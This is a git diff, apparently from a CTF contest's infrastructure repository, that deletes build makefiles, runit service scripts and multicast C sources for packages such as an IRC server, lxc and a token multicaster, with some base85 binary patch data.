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 tszS&1 - -cd $PACKAGES/www -exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d. - diff --git a/packages/inferno/service/inferno/log/run b/packages/inferno/service/inferno/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/inferno/service/inferno/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/inferno/service/inferno/run b/packages/inferno/service/inferno/run deleted file mode 100755 index e926337..0000000 --- a/packages/inferno/service/inferno/run +++ /dev/null @@ -1,12 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -mkdir -p /mnt/inferno -fgrep -q /mnt/inferno /proc/mounts || mount -o ro LABEL=inferno /mnt/inferno -test -e /var/www || ln -s /mnt/inferno /var/www - -ip addr add 10.0.0.2/24 dev eth0 -ip link set dev eth0 up - -exec inotifyd true $PWD diff --git a/packages/inferno/service/sshd/log/run b/packages/inferno/service/sshd/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/inferno/service/sshd/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/inferno/service/sshd/rsa.key b/packages/inferno/service/sshd/rsa.key deleted file mode 100644 index 6c75997537a558589f82fc79b5e41c72e922b475..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmV;c0aX3~000Mbb7(Dcb724g00RL40RR91g8;H#Pn(3)JWM9|u;EO(&Zt;|jnCa| zC}j8m6WoR8K$-~9w8NAGK_*-}y;W1CAdl??A8p0RozsTtJ7<@}A0F1sBpD)}8yl(a zhU)h~4mCpkgMR)YDS84EGSoVGb zN;50;Le=oLHlBpf1^wAAg9fij@!l<9-=PV(O1qy;`zV8ejbM2M{@SfawO8mHHOZjU z0000&0PEf5(c$XX`q|`m2h`S+nnrtwAUwu{Fy^EU9~2WBP5IEk+A6uHa&~cB^jwIj V_Jd|r(c+HDs$zv-`tJE+6DelX#8?0T diff --git a/packages/inferno/service/sshd/run b/packages/inferno/service/sshd/run deleted file mode 100755 index e60e68b..0000000 --- a/packages/inferno/service/sshd/run +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh - -exec 2>&1 -exec dropbear -r ./rsa.key -E -F diff --git a/packages/ircd/ircd.mk b/packages/ircd/ircd.mk deleted file mode 100644 index 285f3fe..0000000 --- a/packages/ircd/ircd.mk +++ /dev/null @@ -1,38 +0,0 @@ -IRCD_PKGDIR = $(TARGET)/ircd -IRCD_BUILDDIR = $(BUILD)/ircd -IRCD_VERSION = 19.1 -IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz -IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz -IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION) - -# Prevents automake from mangling cross-compiled binary names -IRCD_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}') - -ircd-install: ircd-build - -$(IRCD_TAR): - @ mkdir -p $(@D) - wget -O $@ $(IRCD_URL) - -ircd-source: $(IRCD_BUILDDIR)/source -$(IRCD_BUILDDIR)/source: $(IRCD_TAR) - mkdir -p $(IRCD_BUILDDIR) - zcat $(IRCD_TAR) | (cd $(IRCD_BUILDDIR) && tar xf -) - touch $@ - -ircd-build: $(IRCD_BUILDDIR)/built -$(IRCD_BUILDDIR)/built: $(IRCD_BUILDDIR)/source - cd $(IRCD_SRCDIR) && ./configure $(CONFIG_XCOMPILE_FLAGS) --enable-ipv6 - $(MAKE) -C $(IRCD_SRCDIR) - touch $@ - -ircd-install: ircd-build - mkdir -p $(IRCD_PKGDIR)/bin - cp $(IRCD_SRCDIR)/src/ngircd/ngircd $(IRCD_PKGDIR)/bin - - $(call COPYTREE, packages/ircd/service, $(IRCD_PKGDIR)/service) - -ircd-clean: - rm -rf $(IRCD_BUILDDIR) - -PACKAGES += ircd diff --git a/packages/ircd/service/ircd/finish b/packages/ircd/service/ircd/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/ircd/service/ircd/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/ircd/service/ircd/ip.txt b/packages/ircd/service/ircd/ip.txt deleted file mode 100644 index 1e8b314..0000000 --- a/packages/ircd/service/ircd/ip.txt +++ /dev/null @@ -1 +0,0 @@ -6 diff --git a/packages/ircd/service/ircd/log/run b/packages/ircd/service/ircd/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/ircd/service/ircd/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run deleted file mode 100755 index 25ab064..0000000 --- a/packages/ircd/service/ircd/run +++ /dev/null @@ -1,34 +0,0 @@ -#! /bin/sh - -exec 2>&1 - -IP=$(dbip -a) - -adduser -S -H -u 65534 nobody -adduser -S -H irc - -operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1) - -cat <ngircd.conf -[Global] - Name = irc.ctf - Info = CTF IRC - AdminInfo1 = CTF IRC Server - AdminInfo2 = The table at the front of the room - AdminEmail = zephyr@dirtbags.net - MotdPhrase = "welcome datacomp" - Listen = ${IP%/*} - ServerUID = 101 - ServerGID = 65534 - -[Options] - OperCanUseMode = yes - DNS = no - Ident = no - -[Operator] - Name = oper - Password = $operpass -EOD - -exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/libcap/libcap.mk b/packages/libcap/libcap.mk deleted file mode 100644 index 92f6ee1..0000000 --- a/packages/libcap/libcap.mk +++ /dev/null @@ -1,28 +0,0 @@ -LIBCAP_PKGDIR = $(TARGET)/libcap -LIBCAP_BUILDDIR = $(BUILD)/libcap -LIBCAP_VERSION = 2.22 -LIBCAP_TAR = $(CACHE)/libcap-$(LIBCAP_VERSION).tar.gz -# XXX: kernel.org was down when I wrote this, but is the canonical source -LIBCAP_URL = http://ftp.debian.org/debian/pool/main/libc/libcap2/libcap2_$(LIBCAP_VERSION).orig.tar.gz -LIBCAP_SRCDIR = $(LIBCAP_BUILDDIR)/libcap-$(LIBCAP_VERSION) - -LIBCAP_LDFLAGS = -L$(CURDIR)/$(LIBCAP_SRCDIR)/libcap -LIBCAP_CFLAGS = -I$(CURDIR)/$(LIBCAP_SRCDIR)/libcap/include - -$(LIBCAP_TAR): - mkdir -p $(@D) - wget -O $@ $(LIBCAP_URL) - -libcap-source: $(LIBCAP_BUILDDIR)/source -$(LIBCAP_BUILDDIR)/source: $(LIBCAP_TAR) - mkdir -p $(@D) - zcat $< | ( cd $(@D) && tar xf -) - touch $@ - - -# This library's build sort of blows. -libcap-build: $(LIBCAP_BUILDDIR)/built -$(LIBCAP_BUILDDIR)/built: $(LIBCAP_BUILDDIR)/source - $(MAKE) -C $(LIBCAP_SRCDIR)/libcap _makenames - $(MAKE) -C $(LIBCAP_SRCDIR) CC=$(CC) - touch $@ diff --git a/packages/lxc/lxc.mk b/packages/lxc/lxc.mk deleted file mode 100644 index c9816e8..0000000 --- a/packages/lxc/lxc.mk +++ /dev/null @@ -1,52 +0,0 @@ -LXC_PKGDIR = $(TARGET)/lxc -LXC_BUILDDIR = $(BUILD)/lxc -LXC_VERSION = 0.7.5 -LXC_TAR = $(CACHE)/lxc-$(LXC_VERSION).tar.gz -LXC_URL = http://lxc.sourceforge.net/download/lxc/lxc-$(LXC_VERSION).tar.gz -LXC_SRCDIR = $(LXC_BUILDDIR)/lxc-$(LXC_VERSION) - -LXC_COMMANDS = attach cgroup checkpoint console execute freeze -LXC_COMMANDS += info init kill monitor restart start stop -LXC_COMMANDS += unfreeze unshare wait - -LXC_PROGRAMS = $(addprefix $(LXC_SRCDIR)/src/lxc/lxc-, $(LXC_COMMANDS)) - - -# Prevents automake from mangling cross-compiled binary names -LXC_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}') -LXC_CONF_OPT := --host=i386-unknown-linux-uclibc --program-transform-name= - -lxc-install: lxc-build - -$(LXC_TAR): - @ mkdir -p $(@D) - wget -O $@ $(LXC_URL) - -lxc-source: $(LXC_BUILDDIR)/source -$(LXC_BUILDDIR)/source: $(LXC_TAR) - mkdir -p $(LXC_BUILDDIR) - zcat $(LXC_TAR) | (cd $(LXC_BUILDDIR) && tar xf -) - cp packages/lxc/utmp.c $(LXC_SRCDIR)/src/lxc/ - touch $@ - -lxc-build: $(LXC_BUILDDIR)/built -$(LXC_BUILDDIR)/built: $(LXC_BUILDDIR)/source libcap-build - cd $(LXC_SRCDIR) && CFLAGS="$(LIBCAP_CFLAGS)" LDFLAGS="$(LIBCAP_LDFLAGS) -Xlinker -rpath -Xlinker /opt/lxc/lib" ./configure $(CONFIG_XCOMPILE_FLAGS) - $(MAKE) -C $(LXC_SRCDIR) - touch $@ - -lxc-install: lxc-build - mkdir -p $(LXC_PKGDIR)/lib - cp $(LXC_SRCDIR)/src/lxc/liblxc.so $(LXC_PKGDIR)/lib/liblxc.so.0 - cp $(LIBCAP_SRCDIR)/libcap/libcap.so.* $(LXC_PKGDIR)/lib - - mkdir -p $(LXC_PKGDIR)/bin - cp $(LXC_PROGRAMS) $(LXC_PKGDIR)/bin - -# $(call COPYTREE, packages/lxc/service, $(LXC_PKGDIR)/service) - -lxc-clean: - rm -rf $(LXC_BUILDDIR) - - -LIBCAP_PKGDIR = $(TARGET)/libcap diff --git a/packages/lxc/utmp.c b/packages/lxc/utmp.c deleted file mode 100644 index 5b51ba2..0000000 --- a/packages/lxc/utmp.c +++ /dev/null @@ -1,11 +0,0 @@ -/* Detecting runlevels from utmp is straight up bullshit, you. - - 1. runit doesn't have run levels - 2. dbtl doesn't write utmp - 3. even if it did, it doesn't have the glibc functions this code - wants -*/ -int lxc_utmp_mainloop_add(struct lxc_epoll_descr *descr, - struct lxc_handler *handler) { - return 0; -} diff --git a/packages/mkanswer b/packages/mkanswer index 3a4bd37..5c6a279 100755 --- a/packages/mkanswer +++ b/packages/mkanswer @@ -1,6 +1,6 @@ #! /bin/sh -shuf -n 2 /usr/share/dict/words | while read word; do +grep -v "'" /usr/share/dict/words | shuf -n 2 | while read word; do echo -n "$word " done -echo \ No newline at end of file +echo diff --git a/packages/multicaster/multicaster.mk b/packages/multicaster/multicaster.mk deleted file mode 100644 index 9e7fed6..0000000 --- a/packages/multicaster/multicaster.mk +++ /dev/null @@ -1,19 +0,0 @@ -MULTICASTER_PKGDIR = $(TARGET)/multicaster - -multicaster-install: multicaster-build - mkdir -p $(MULTICASTER_PKGDIR) - cp packages/multicaster/tokens.txt $(MULTICASTER_PKGDIR) - - $(call COPYTREE, packages/multicaster/service, $(MULTICASTER_PKGDIR)/service) - - mkdir -p $(MULTICASTER_PKGDIR)/bin/ - $(MAKE) -C packages/multicaster/src install DESTDIR=$(CURDIR)/$(MULTICASTER_PKGDIR) - -multicaster-clean: - rm -rf $(MULTICASTER_PKGDIR) - $(MAKE) -C packages/multicaster/src clean - -multicaster-build: - $(MAKE) -C packages/multicaster/src build - -PACKAGES += multicaster diff --git a/packages/multicaster/service/multicaster/finish b/packages/multicaster/service/multicaster/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/multicaster/service/multicaster/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/multicaster/service/multicaster/ip.txt b/packages/multicaster/service/multicaster/ip.txt deleted file mode 100644 index 98d9bcb..0000000 --- a/packages/multicaster/service/multicaster/ip.txt +++ /dev/null @@ -1 +0,0 @@ -17 diff --git a/packages/multicaster/service/multicaster/log/run b/packages/multicaster/service/multicaster/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/multicaster/service/multicaster/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run deleted file mode 100755 index 0ed554b..0000000 --- a/packages/multicaster/service/multicaster/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt diff --git a/packages/multicaster/src/Makefile b/packages/multicaster/src/Makefile deleted file mode 100644 index c5faabb..0000000 --- a/packages/multicaster/src/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -CFLAGS = -Wall -Werror -TARGETS = multicaster - -all: build -build: $(TARGETS) - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) diff --git a/packages/multicaster/src/multicaster-client.c b/packages/multicaster/src/multicaster-client.c deleted file mode 100644 index a2bf4ef..0000000 --- a/packages/multicaster/src/multicaster-client.c +++ /dev/null @@ -1,121 +0,0 @@ -/* multicast_client.c - * Adopted from tmouse's client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include -#include -#include -#include /* for printf() and fprintf() */ -#include /* for atoi() and exit() */ -#include /* for memset() */ -#include /* for timestamps */ -#include - -void DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(10); -} - -int main(int argc, char* argv[]) -{ - int sock; /* Socket */ - char* multicastIP; /* Arg: IP Multicast Address */ - char* multicastPort; /* Arg: Port */ - struct addrinfo * multicastAddr = {0}; /* Multicast Address */ - struct addrinfo * localAddr; /* Local address to bind to */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - - if ( argc != 3 ) - { - fprintf(stderr,"Usage: %s \n", argv[0]); - exit(10); - } - - multicastIP = argv[1]; /* First arg: Multicast IP address */ - multicastPort = argv[2]; /* Second arg: Multicast port */ - - /* Resolve the multicast group address */ - hints.ai_family = PF_INET6; - hints.ai_flags = AI_NUMERICHOST; - if ( getaddrinfo(multicastIP, NULL, &hints, &multicastAddr) != 0 ) DieWithError("getaddrinfo() failed"); - - /* Get a local address with the same family as our multicast group */ - hints.ai_family = multicastAddr->ai_family; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_PASSIVE; /* Return an address we can bind to */ - if ( getaddrinfo(NULL, multicastPort, &hints, &localAddr) != 0 ) - { - DieWithError("getaddrinfo() failed"); - } - - /* Create socket for receiving datagrams */ - if ( (sock = socket(localAddr->ai_family, localAddr->ai_socktype, 0)) == -1 ) - { - DieWithError("socket() failed"); - } - - const int trueValue = 1; - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const void *) &trueValue, sizeof(trueValue)); -#ifdef __APPLE__ - setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (const void *) &trueValue, sizeof(trueValue)); -#endif - - /* Bind to the multicast port */ - if ( bind(sock, localAddr->ai_addr, localAddr->ai_addrlen) != 0 ) - { - DieWithError("bind() failed"); - } - - /* Join the multicast group. */ - if ((multicastAddr->ai_family == PF_INET6)&&(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6))) - { - struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr); - struct ipv6_mreq multicastRequest; /* Multicast address join structure */ - - /* Specify the multicast group */ - memcpy(&multicastRequest.ipv6mr_multiaddr, &((struct sockaddr_in6*)(multicastAddr->ai_addr))->sin6_addr, sizeof(multicastRequest.ipv6mr_multiaddr)); - - printf("scope_id: %d\n", addr->sin6_scope_id); - - /* Accept multicast from any interface */ - multicastRequest.ipv6mr_interface = addr->sin6_scope_id; - - /* Join the multicast address */ - if ( setsockopt(sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, (char*) &multicastRequest, sizeof(multicastRequest)) != 0 ) DieWithError("setsockopt(IPV6_JOIN_GROUP) failed"); - } - else DieWithError("Not IPv6"); - - freeaddrinfo(localAddr); - freeaddrinfo(multicastAddr); - - for (;;) /* Run forever */ - { - char recvString[500]; /* Buffer for received string */ - int recvStringLen; /* Length of received string */ - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - char sendString[] = "Token: banana\n"; - char errorString[] = "That is not correct! Try again!\n"; - - /* Receive a single datagram from the server */ - if ((recvStringLen = recvfrom(sock, recvString, sizeof(recvString) - 1, 0, (struct sockaddr *)&from, &fromlen)) < 0) DieWithError("recvfrom() failed"); - recvString[recvStringLen] = '\0'; - if(strcmp(recvString, "hello")==0) { - printf("Correct!!\n"); - // printf("Token: banana\n"); - sendto(sock, sendString, sizeof(sendString) - 1, 0, (struct sockaddr *)&from, fromlen); - } else { - // printf("That isn't correct! Try again!\n"); - sendto(sock, errorString, sizeof(errorString) - 1, 0, (struct sockaddr *)&from, fromlen); - } - - /* Print the received string */ - printf("Received string [%s]\n", recvString); - } - - /* NOT REACHED */ - close(sock); - exit(EXIT_SUCCESS); -} diff --git a/packages/multicaster/src/multicaster-server.c b/packages/multicaster/src/multicaster-server.c deleted file mode 100644 index 830ec3b..0000000 --- a/packages/multicaster/src/multicaster-server.c +++ /dev/null @@ -1,71 +0,0 @@ -/* multicast_server.c - * Adapted from tmouse's IPv6 client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include /* for fprintf() */ -#include -#include -#include -#include /* for atoi() and exit() */ -#include -#include - -static void DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(10); -} - -int main(int argc, char *argv[]) -{ - int sock; /* Socket */ - char* multicastIP; /* Arg: IP Multicast address */ - char* multicastPort; /* Arg: Server port */ - char* sendString; /* Arg: String to multicast */ - size_t sendStringLen; /* Length of string to multicast */ - struct addrinfo * multicastAddr; /* Multicast address */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - - if ( argc != 4 ) - { - fprintf(stderr, "Usage: %s \n", argv[0]); - exit(10); - } - - multicastIP = argv[1]; /* First arg: multicast IP address */ - multicastPort = argv[2]; /* Second arg: multicast port */ - sendString = argv[3]; /* Third arg: String to multicast */ - sendStringLen = strlen(sendString); /* Find length of sendString */ - - /* Resolve destination address for multicast datagrams */ - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) DieWithError("getaddrinfo() failed"); - - /* Create socket for sending multicast datagrams */ - if ((sock = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) DieWithError("socket() failed"); - - int hops = 5; - if (setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) DieWithError("setsockopt(MULTICAST_HOPS) failed"); - - for (;;) /* Run forever */ - { - int sendLen = sendto(sock, sendString, sendStringLen, 0, multicastAddr->ai_addr, multicastAddr->ai_addrlen); - if (sendLen == sendStringLen ) - { - printf("Sent [%s] (%i bytes) to %s, port %s\n", sendString, sendLen, multicastIP, multicastPort); - } - else - { - DieWithError("sendto() sent a different number of bytes than expected"); - } - sleep(1); /* Multicast sendString in datagram to clients every second */ - } - - /* NOT REACHED */ - freeaddrinfo(multicastAddr); - close(sock); - return 0; -} diff --git a/packages/multicaster/src/multicaster.c b/packages/multicaster/src/multicaster.c deleted file mode 100644 index 5b62255..0000000 --- a/packages/multicaster/src/multicaster.c +++ /dev/null @@ -1,164 +0,0 @@ -/* multicast_server.c - * Adapted from tmouse's IPv6 client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static void -DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(1); -} - -int -main(int argc, char *argv[]) -{ - int sender, listener; /* Sockets */ - char* multicastIP; /* Arg: IP Multicast address */ - char* multicastPort; /* Arg: Server port */ - char token[100]; - struct addrinfo * multicastAddr; /* Multicast address */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - struct timeval timeout = { 0 }; - - if (argc != 3) - { - fprintf(stderr, "Usage: %s ADDRESS PORT ai_family == PF_INET6) && - (multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))) { - DieWithError("Not IPv6"); - } - - /* Create socket for sending multicast datagrams */ - if ((sender = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) { - DieWithError("socket() failed"); - } - - /* Create socket for recieving multicast datagrams */ - if ((listener = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) { - DieWithError("socket() failed"); - } - - /* We need to go through a router, set hops to 5 */ - { - int hops = 5; - - if (setsockopt(sender, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) { - DieWithError("setsockopt(MULTICAST_HOPS) failed"); - } - } - - /* Bind to the multicast port */ - if (bind(listener, multicastAddr->ai_addr, multicastAddr->ai_addrlen) != 0) { - DieWithError("bind() failed"); - } - - - /* Join the multicast group. */ - { - struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr); - struct ipv6_mreq multicastRequest; - - multicastRequest.ipv6mr_interface = addr->sin6_scope_id; - memcpy(&multicastRequest.ipv6mr_multiaddr, &(addr->sin6_addr), - sizeof(multicastRequest.ipv6mr_multiaddr)); - - if (setsockopt(listener, IPPROTO_IPV6, IPV6_JOIN_GROUP, - (char*)&multicastRequest, sizeof(multicastRequest)) != 0) { - DieWithError("setsockopt(IPV6_JOIN_GROUP) failed"); - } - } - - for (;;) { /* Run forever */ - int n; - int max_fd; - fd_set input; - - char recvString[500]; /* Buffer for received string */ - int recvStringLen; /* Length of received string */ - - char sendString[] = "If anyone is out there, please say hello\n"; - size_t sendStringLen = sizeof(sendString)-1; - char errorString[] = "Say what?\n"; - - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - - FD_ZERO(&input); - FD_SET(listener, &input); - - max_fd = listener + 1; - - if (timeout.tv_usec < 100) { - ssize_t sendLen; - - timeout.tv_sec = 1; - timeout.tv_usec = 0; - - sendLen = sendto(sender, sendString, sendStringLen, 0, multicastAddr->ai_addr, - multicastAddr->ai_addrlen); - if (sendLen != sendStringLen) { - DieWithError("sendto() sent a different number of bytes than expected"); - } - } - - n = select(max_fd, &input, NULL, NULL, &timeout); - - /* See if there was an error */ - if (n < 0) { - perror("select failed"); - } else if (FD_ISSET(listener, &input)) { - recvStringLen = recvfrom(listener, recvString, sizeof(recvString) - 1, 0, - (struct sockaddr *)&from, &fromlen); - /* Receive a single datagram from the server */ - if (recvStringLen < 0) { - DieWithError("recvfrom() failed"); - } - - recvString[recvStringLen] = '\0'; - if (strcmp(recvString, "hello")==0) { - sendto(listener, token, sizeof(sendString), 0, (struct sockaddr *)&from, - fromlen); - } else if (strcmp(recvString, sendString)!=0) { - sendto(listener, errorString, sizeof(errorString), 0, - (struct sockaddr *)&from, fromlen); - } - } - } - - /* NOT REACHED */ - 